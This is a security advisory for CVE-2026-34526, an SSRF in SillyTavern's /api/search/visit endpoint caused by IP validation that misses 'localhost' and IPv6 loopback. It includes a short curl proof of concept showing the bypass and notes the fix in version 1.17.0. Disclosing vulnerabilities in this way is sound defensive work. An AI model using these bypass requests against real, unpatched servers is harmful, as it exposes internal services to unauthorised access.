GHSA-wm7j-m6jm-8797

Suggest an improvement
Source
https://github.com/advisories/GHSA-wm7j-m6jm-8797
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-wm7j-m6jm-8797/GHSA-wm7j-m6jm-8797.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-wm7j-m6jm-8797
Aliases
  • CVE-2026-34526
Published
2026-04-01T21:42:24Z
Modified
2026-04-06T17:37:51.914067Z
Severity
  • 5.0 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N CVSS Calculator
Summary
SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6
Details

Details

Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.

In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch: - localhost (hostname, not dotted-quad) - [::1] (IPv6 loopback) - DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1)

A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.

PoC

  1. Start SillyTavern v1.16.0 normally
  2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):
    # Blocked — dotted-quad matched by regex
    curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
      -H "Content-Type: application/json" \
      -d '{"url": "http://127.0.0.1/", "html": true}'
    # Returns: 400 (blocked)
    
    # Bypassed — "localhost" is not dotted-quad
    curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
      -H "Content-Type: application/json" \
      -d '{"url": "http://localhost/", "html": true}'
    # Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)
    
    # Bypassed — IPv6 loopback is not dotted-quad
    curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
      -H "Content-Type: application/json" \
      -d '{"url": "http://[::1]/", "html": true}'
    # Returns: 500 (passed validation, fetch attempted)
    

The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.

Impact

Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.

Resolution

The issue was addressed in version 1.17.0 by improving IPv6 address validation

Database specific
{
    "github_reviewed_at": "2026-04-01T21:42:24Z",
    "nvd_published_at": "2026-04-02T18:16:29Z",
    "cwe_ids": [
        "CWE-918"
    ],
    "severity": "MODERATE",
    "github_reviewed": true
}
References

Affected packages

npm / sillytavern

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.17.0

Database specific

last_known_affected_version_range
"<= 1.16.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-wm7j-m6jm-8797/GHSA-wm7j-m6jm-8797.json"